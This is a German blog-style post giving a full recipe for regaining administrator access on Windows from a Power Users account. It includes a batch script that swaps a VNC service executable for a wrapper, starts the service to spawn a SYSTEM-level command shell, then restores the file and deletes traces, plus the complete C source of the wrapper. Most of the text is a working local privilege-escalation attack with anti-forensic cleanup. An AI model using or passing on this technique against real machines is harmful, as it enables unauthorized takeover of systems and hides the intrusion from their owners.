Folgende Sitation: Man ist auf einem System mit dem normalen Account in der Gruppe der Poweruser und hat das Admin-Passwort vergessen. Fürs Archiv hier die Anleitung um das Problem zu lösen:
Als Poweruser kann man immerhin Programme installieren und Dienste starten und beenden (zumindest war das bei der damaligen Konfiguration der Fall) . Weiterhin war auf dem Rechner ein Visual Studio installiert, mit dem sich C-Programme übersetzen ließen. Damit sind die Schritte zur Wiedererlangung des Zugriffs die Folgenden:
- überschreiben der Exe-Datei eines vorhandenen Dienstes mit einem Wrapper-Programm
- das Wrapper-Programm startet dabei eine Shell
- da der Dienst mit SYSTEM-Rechten ausgeführt wird, hat auch die Shell SYSTEM-Rechte, man kann also damit Änderungen durchführen, die einem Poweruser nicht erlaubt sind (z.B. ihn zum Administrator machen)
Zunächst das Skript launchSystemConsole.bat
, was die Dateien austauscht, den Dienst startet und stoppt und anschließend die Spuren löscht :
set servicename="WinVNC4" set serviceexe="C:\Program Files\RealVNC\VNC4\WinVNC4.exe" set startwrapper="c:\temp\startwrapper.exe" copy %serviceexe% %serviceexe%.sav copy %startwrapper% %serviceexe% echo start "SYSTEM console" cmd.exe /T:C0 > c:\temp\filetostart.txt net start %servicename% net stop %servicename% copy %serviceexe%.sav %serviceexe% del c:\temp\filetostart.txt
startwrapper.exe
ist das Kompilat von startwrapper.c
:
#include <stdio.h> #include <stdlib.h> #define MAX_LINE_LENGTH 255 void usage(const char *fileName) { printf("Usage: startwrapper [executable]\n\n"); printf("If no executable is given, startwrapper tries to open the file %s,\n",fileName); printf("reads the first line and executes it as command\n"); } int main(int argc, char *argv[]) { FILE *f; const char *fileName = "C:\\temp\\filetostart.txt"; char line[MAX_LINE_LENGTH]; f = fopen(fileName, "r"); if ( f == NULL) { usage(fileName); printf("\nError: Could not open file %s.\n", fileName); return 1; } fgets(line, MAX_LINE_LENGTH ,f); if (ferror(f)) { printf("\nError: Could not read first line of file %s", fileName); return 2; } fclose(f); system(line); return 0; }